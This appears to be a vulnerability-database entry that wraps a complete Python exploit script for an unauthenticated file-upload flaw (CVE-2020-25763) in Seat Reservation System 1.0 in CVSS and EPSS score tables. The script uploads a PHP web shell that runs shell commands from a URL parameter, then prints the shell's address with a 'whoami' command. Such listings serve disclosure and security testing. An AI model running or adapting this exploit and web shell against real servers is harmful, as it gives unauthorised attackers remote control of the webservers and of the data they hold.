7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.131 Low
EPSS
Percentile
95.5%
# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# Exploit Tested Using: Python 2.7.18
# CVE: CVE-2020-25763
# Vulnerability Description:
# Seat Reservation System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading PHP files.
import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string
def print_usage(STRING):
return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET
if __name__ == "__main__":
if len(sys.argv) != 2:
print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
print print_usage("Example:\t python %s 'https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(16)])
webshell = random+'.php'
s = requests.Session()
s.get(SERVER_URL, verify=False)
image = {
'cover':
(
webshell,
'<?php echo shell_exec($_GET["d3crypt"]); ?>',
'application/php',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'id': '','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-01','end_date':'2040-09-25'}
r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
r2 = s.get(SERVER_URL, verify=False)
response_page = r2.content.decode("utf-8")
parser = etree.HTMLParser()
tree = etree.parse(StringIO(response_page), parser=parser)
def get_links(tree):
refs = tree.xpath("//img")
links = [link.get('src', '') for link in refs]
return [l for l in links]
links = get_links(tree)
print('Access your webshell at: ')
for link in links:
if webshell in link:
print(SERVER_URL + link+'?d3crypt=whoami')
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.131 Low
EPSS
Percentile
95.5%